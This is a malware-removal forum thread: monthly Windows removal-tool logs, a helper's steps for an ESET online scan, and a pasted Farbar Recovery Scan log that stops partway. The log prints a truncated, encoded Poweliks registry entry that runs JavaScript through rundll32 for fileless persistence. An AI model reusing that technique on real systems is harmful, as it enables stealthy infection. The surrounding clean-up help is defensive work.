(0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.3, December 2011Started On Thu Dec 15 10:48:30 2011->Scan ERROR: resource process://pid:6632 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Dec 15 10:50:02 2011Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.4, January 2012Started On Wed Jan 11 21:30:52 2012->Scan ERROR: resource process://pid:3800 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jan 11 21:32:21 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.5, February 2012Started On Thu Feb 16 22:44:07 2012->Scan ERROR: resource process://pid:2836 (code 0x00000490 (1168))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Feb 16 22:45:47 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.6, March 2012Started On Wed Mar 14 21:26:07 2012->Scan ERROR: resource process://pid:6624 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Mar 14 21:27:56 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.7, April 2012Started On Wed Apr 11 21:39:41 2012->Scan ERROR: resource process://pid:4768 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Apr 11 21:41:19 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.8, May 2012Started On Fri May 11 22:18:52 2012Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri May 11 22:20:58 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.9, June 2012Started On Wed Jun 13 15:31:56 2012Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jun 13 15:33:55 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.10, July 2012Started On Wed Jul 11 21:45:58 2012Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jul 11 21:47:54 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.11, August 2012Started On Wed Aug 15 15:04:30 2012->Scan ERROR: resource process://pid:7148 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Aug 15 15:06:27 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.12, September 2012Started On Fri Sep 14 22:14:57 2012->Scan ERROR: resource process://pid:5136 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Sep 14 22:16:08 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.13, October 2012Started On Sat Oct 13 22:47:53 2012->Scan ERROR: resource process://pid:2044 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Sat Oct 13 22:49:31 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.14, November 2012Started On Fri Nov 16 20:33:19 2012->Scan ERROR: resource process://pid:3524 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Nov 16 20:34:34 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.15, December 2012Started On Wed Dec 12 09:11:58 2012->Scan ERROR: resource process://pid:4792 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Dec 12 09:13:20 2012Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.16, January 2013Started On Wed Jan 09 07:35:49 2013->Scan ERROR: resource process://pid:1400 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jan 09 07:37:09 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.17, February 2013Started On Wed Feb 13 09:41:48 2013Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Feb 13 09:43:39 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.18, March 2013Started On Wed Mar 13 21:21:42 2013->Scan ERROR: resource process://pid:1080 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Mar 13 21:22:56 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.19, April 2013Started On Wed Apr 10 20:51:56 2013Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Apr 10 20:53:13 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.20, May 2013Started On Tue May 14 21:24:00 2013Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Tue May 14 21:26:00 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.21, June 2013Started On Fri Jun 14 22:18:59 2013->Scan ERROR: resource process://pid:5472 (code 0x00000005 (5))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Jun 14 22:20:31 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v4.22, July 2013Started On Wed Jul 10 21:02:07 2013->Scan ERROR: resource process://pid:6016 (code 0x00000490 (1168))Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jul 10 21:03:32 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.3, August 2013 (build 5.3.9301.0)Started On Wed Aug 14 20:39:10 2013Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Aug 14 20:40:46 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.4, September 2013 (build 5.4.9400.0)Started On Wed Sep 11 21:50:45 2013Engine: 1.1.9800.0Signatures: 1.157.932.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Sep 11 21:52:29 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.5, October 2013 (build 5.5.9502.0)Started On Thu Oct 10 03:01:37 2013Engine: 1.1.9901.0Signatures: 1.159.530.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Oct 10 03:03:08 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.6, November 2013 (build 5.6.9603.0)Started On Wed Nov 13 19:45:57 2013Engine: 1.1.10003.0Signatures: 1.161.1618.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Nov 13 19:47:24 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.7, December 2013 (build 5.7.9701.0)Started On Sun Dec 15 10:47:36 2013Engine: 1.1.10100.0Signatures: 1.163.1013.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Sun Dec 15 10:49:34 2013Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.8, January 2014 (build 5.8.9803.0)Started On Wed Jan 15 20:04:44 2014Engine: 1.1.10201.0Signatures: 1.165.1273.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jan 15 20:06:29 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.9, February 2014 (build 5.9.9902.0)Started On Sat Feb 15 20:48:04 2014Engine: 1.1.10201.0Signatures: 1.165.3163.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Sat Feb 15 20:49:51 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.10, March 2014 (build 5.10.10001.0)Started On Tue Mar 18 18:47:43 2014Engine: 1.1.10302.0Signatures: 1.167.1001.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Tue Mar 18 18:49:07 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.11, April 2014 (build 5.11.10100.0)Started On Wed Apr 09 20:09:32 2014Engine: 1.1.10401.0Signatures: 1.169.1258.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Apr 09 20:10:56 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.12, May 2014 (build 5.12.10200.0)Started On Wed May 14 20:18:43 2014Engine: 1.1.10502.0Signatures: 1.173.1305.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed May 14 20:20:08 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.13, June 2014 (build 5.13.10300.0)Started On Wed Jun 11 10:40:33 2014Engine: 1.1.10600.0Signatures: 1.175.1113.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jun 11 10:42:03 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.14, July 2014 (build 5.14.10402.0)Started On Wed Jul 09 12:56:18 2014Engine: 1.1.10701.0Signatures: 1.177.949.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Jul 09 12:57:45 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.15, August 2014 (build 5.15.10500.0)Started On Fri Aug 15 20:46:09 2014Engine: 1.1.10802.0Signatures: 1.179.1796.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Fri Aug 15 20:50:11 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.16, September 2014 (build 5.16.10602.0)Started On Wed Sep 10 17:55:43 2014Engine: 1.1.10904.0Signatures: 1.183.882.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Sep 10 18:00:22 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.17, October 2014 (build 5.17.10700.0)Started On Thu Oct 16 08:03:47 2014Engine: 1.1.11005.0Signatures: 1.185.2035.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Thu Oct 16 08:14:10 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.18, November 2014 (build 5.18.10802.0)Started On Wed Nov 12 08:49:29 2014Engine: 1.1.11104.0Signatures: 1.187.1116.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Nov 12 08:55:34 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.19, December 2014 (build 5.19.10902.0)Started On Wed Dec 10 07:53:42 2014Engine: 1.1.11202.0Signatures: 1.189.872.0Results Summary:----------------No infection found.Microsoft Windows Malicious Software Removal Tool Finished On Wed Dec 10 07:58:03 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.19, December 2014 (build 5.19.10902.0)Started On Wed Dec 31 07:49:26 2014Engine: 1.1.11202.0Signatures: 1.189.872.0Results Summary:----------------No infection found.Failed to submit clean hearbeat MAPS report: 0x80072EE7Microsoft Windows Malicious Software Removal Tool Finished On Wed Dec 31 07:54:09 2014Return code: 0 (0x0)---------------------------------------------------------------------------------------Microsoft Windows Malicious Software Removal Tool v5.19, December 2014 (build 5.19.10902.0)Started On Wed Dec 31 07:54:13 2014Engine: 1.1.11202.0Signatures: 1.189.872.0Results Summary:----------------No infection found.Failed to submit clean hearbeat MAPS report: 0x80072EE7Microsoft Windows Malicious Software Removal Tool Finished On Wed Dec 31 07:57:45 2014Return code: 0 (0x0) Link to post Share on other sites More sharing options...
kevinf80 Posted December 31, 2014 ID:924578 Share Posted December 31, 2014 Thanks for the reply, i`ll be offline very shortly until about 17:00 hrs tomorrow UK time... You`ve posted the file I attached to my last reply "Fixlist.txt" that file was to be used by FRST to effect a fix, when complete that should have produced a log "fixlog.txt". All logs are usually saved to the followin folder: C:\FRST\Logs To attach a file, select "More Reply Options" under the main reply box, that will open more option. From there select "Browse" to find the file, double click on the file to upload, then select "Attach This File2 to do just that, repeat as required for more files etc.... We still need to run an online AV scan to ensure there are no remnants of any infection left on your system that may have been missed. This scan is very thorough and well worth running, it can take several hours please be patient and let it complete: Run Eset Online Scanner **Note** You will need to use Internet explorer for this scan - Vista and Windows 7/8 right click on IE shortcut and run as admin. (To run ESET Online Scanner in a browser other than Internet Explorer, you'll need to download ESET SMART Installer during the process) Go to Eset web page http://www.eset.com/us/online-scanner/ to run an online scan from ESET. Turn off the real time scanner of any existing antivirus program while performing the online scan click on the Run ESET Online Scanner button Tick the box next to YES, I accept the Terms of Use. Click Start When asked, allow the add/on to be installed Click Start Make sure that the option "Remove found threats" is Ticked Click on Advanced Settings, ensure the following options are checked: Scan for potentially unsafe applicationsEnable Anti-Stealth Technology Click Scan wait for the virus definitions to be downloaded Wait for the scan to finish When the scan is complete If no threats were found put a checkmark in "Uninstall application on close" close program report to me that nothing was found If threats were found click on "list of threats found" click on "export to text file" and save it as ESET SCAN and save to the desktop Click on back put a checkmark in "Uninstall application on close" click on finish close program Copy and paste the report in next reply. Also let me know if any remaining issues or concerns... Thanks, Kevin.... Link to post Share on other sites More sharing options...
caracaldad Posted December 31, 2014 Author ID:924659 Share Posted December 31, 2014 Whoops! You're right about the file, I spaced on that one... here it is. No worries about going offline - you're taking your precious time to help, and it is VERY appreciated! My next post will be following the AV scan you indicated in your last post. Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 28-12-2014Ran by Hagar (administrator) on HAGAR-PC on 31-12-2014 07:07:52Running from C:\CopyLoaded Profiles: Hagar & (Available profiles: Hagar & Andy)Platform: Windows 7 Professional Service Pack 1 (X64) OS Language: English (United States)Internet Explorer Version 11 (Default browser: Chrome)Boot Mode: NormalTutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/==================== Processes (Whitelisted) =================(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe(AMD) C:\Windows\System32\atiesrxx.exe(AMD) C:\Windows\System32\atieclxx.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinService.exe(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe(Advanced Micro Devices, Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe(Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe(Broadcom Corporation.) C:\Program Files\WIDCOMM\Bluetooth Software\btwdins.exe(HP) C:\Program Files (x86)\HP\HPLaserJetService\HPLaserJetService.exe(HP) C:\Windows\System32\HPSIsvc.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVC.EXE() C:\Windows\SysWOW64\PnkBstrA.exe() C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe(Microsoft Corporation) C:\Program Files (x86)\Microsoft\Search Enhancement Pack\SeaPort\SeaPort.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVCM.EXE(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe(johnsadventures.com) C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe(Microsoft Corporation) C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe(NEC Electronics Corporation) C:\Program Files (x86)\NEC Electronics\USB 3.0 Host Controller Driver\Application\nusb3mon.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinRouterMonitor.exe(Hewlett-Packard Company) C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe(Dropbox, Inc.) C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe(RealNetworks, Inc.) C:\Program Files (x86)\Real\RealPlayer\Update\realsched.exe() C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinSetup.exe(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe(Advanced Micro Devices Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\MOM.exe(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe(ATI Technologies Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\CCC.exe(Microsoft Corporation) C:\Program Files\Microsoft Security Client\NisSrv.exe(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Elements 10 Organizer\PhotoshopElementsFileAgent.exe(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\AAM Updates Notifier.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\System32\wbem\WMIADAP.exe(Microsoft Corporation) C:\Windows\System32\dllhost.exe==================== Registry (Whitelisted) ==================(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [9642528 2009-12-08] (Realtek Semiconductor)HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [444904 2012-09-20] (Adobe Systems Incorporated)HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1331288 2014-08-22] (Microsoft Corporation)HKLM-x32\...\Run: [NUSB3MON] => C:\Program Files (x86)\NEC Electronics\USB 3.0 Host Controller Driver\Application\nusb3mon.exe [106496 2009-11-20] (NEC Electronics Corporation)HKLM-x32\...\Run: [ATICustomerCare] => C:\Program Files (x86)\ATI\ATICustomerCare\ATICustomerCare.exe [311296 2010-03-04] (Advanced Micro Devices, Inc.)HKLM-x32\...\Run: [instaLAN] => C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinRouterMonitor.exe [1485208 2010-07-28] (Affinegy, Inc.)HKLM-x32\...\Run: [AppleSyncNotifier] => C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exeHKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)HKLM-x32\...\Run: [ROC_roc_dec12] => "C:\Program Files (x86)\AVG Secure Search\ROC_roc_dec12.exe" /PROMPT /CMPID=roc_dec12HKLM-x32\...\Run: [HPUsageTrackingLEDM] => C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe [30264 2009-08-04] (Hewlett-Packard Company)HKLM-x32\...\Run: [Communicator] => C:\Program Files (x86)\Microsoft Lync\communicator.exe [12117312 2014-05-01] (Microsoft Corporation)HKLM-x32\...\Run: [DivXMediaServer] => C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe [450560 2013-08-21] (DivX, LLC)HKLM-x32\...\Run: [TkBellExe] => c:\program files (x86)\real\realplayer\Update\realsched.exe [295512 2013-09-04] (RealNetworks, Inc.)HKLM-x32\...\Run: [DivXUpdate] => C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe [1861968 2013-08-28] ()HKLM-x32\...\Run: [startCCC] => C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\amd64\CLIStart.exe [766208 2013-08-30] (Advanced Micro Devices, Inc.)HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1021128 2014-11-20] (Adobe Systems Incorporated)HKLM-x32\...\Run: [sunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [271744 2014-09-26] (Oracle Corporation)HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\QTTask.exe [421888 2014-10-02] (Apple Inc.)HKLM-x32\...\RunOnce: [AvgUninstallURL] => cmd.exe /c start http://www.avg.com/ww.special-uninstallation-feedback-app?lic=OQBJAC0ATgAzAEcANABDAC0ANwA3AFkATQBNAC0AMgBUAFYASABBAC0AWABEADgANgBTAC0ATAA0AFYANABZAA"&"inst=NwA2AC0ANQAwADkANwA3ADIAOAAzADAALQBYAE8AMwA2ACsAMQAtAFQAQgA5ACsAMgAtAE4AMQBEACsAMQAtAFAATAArADkALQBDAEkAQQA5ADAAKwAyAC0ARABEAFQAKwAyADYANQA2ADMALQBEAEQAOQAwACsAMQAtAFMAVAA5ADAAQQBQAFAAKwAxAC0AUAA5ADAATQAxADIAQwArADEALQBVADkANQArADEALQBUAEIAKwAxAC0AUAA5ADAAVQArADEALQBQADkAMABVADEAKwAxAC0AUAA5ADAAVABCACsAMgA"&"prod=94"&"ver=9.0.894HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [Google Update] => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [107912 2014-10-22] (Google Inc.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [backgroundSwitcher] => C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe [119104 2011-06-02] (johnsadventures.com)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [OfficeSyncProcess] => "C:\Program Files (x86)\Common Files\Microsoft Shared\Virtualization Handler\CVH.EXE" /quietlaunch "MSOSYNC 9014006604090000"HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [skyDrive] => C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe [277672 2014-11-15] (Microsoft Corporation)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {4c96ad0d-cb85-11e2-80f0-1c6f6527da81} - E:\StartClickFreeBackup.exeHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {65db583b-d7dc-11e1-ad8a-1c6f6527da81} - E:\LaunchU3.exe -aHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [Google Update] => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [107912 2014-10-22] (Google Inc.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [backgroundSwitcher] => C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe [119104 2011-06-02] (johnsadventures.com)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [OfficeSyncProcess] => "C:\Program Files (x86)\Common Files\Microsoft Shared\Virtualization Handler\CVH.EXE" /quietlaunch "MSOSYNC 9014006604090000"HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [skyDrive] => C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe [277672 2014-11-15] (Microsoft Corporation)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\MountPoints2: {4c96ad0d-cb85-11e2-80f0-1c6f6527da81} - E:\StartClickFreeBackup.exeHKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\MountPoints2: {65db583b-d7dc-11e1-ad8a-1c6f6527da81} - E:\LaunchU3.exe -aStartup: C:\Users\Hagar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dropbox.lnkShortcutTarget: Dropbox.lnk -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe (Dropbox, Inc.)==================== Internet (Whitelisted) ====================(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Internet Explorer\Main,Start Page = about:blankHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.msn.comHKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,Start Page = about:blankHKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.msn.comSearchScopes: HKLM -> DefaultScope {050F6D2A-CD2C-4CCF-A95E-9A59CEE646C0} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM -> {050F6D2A-CD2C-4CCF-A95E-9A59CEE646C0} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKLM-x32 -> DefaultScope {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKLM-x32 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> DefaultScope {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {27E4E3C4-0CDE-4565-9E53-114153EFD308} URL = http://search.yahoo.com/search?fr=chr-greentree_ie&ei=utf-8&ilc=12&type=937811&p={searchTerms}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL =SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> DefaultScope {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> {27E4E3C4-0CDE-4565-9E53-114153EFD308} URL = http://search.yahoo.com/search?fr=chr-greentree_ie&ei=utf-8&ilc=12&type=937811&p={searchTerms}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL =SearchScopes: 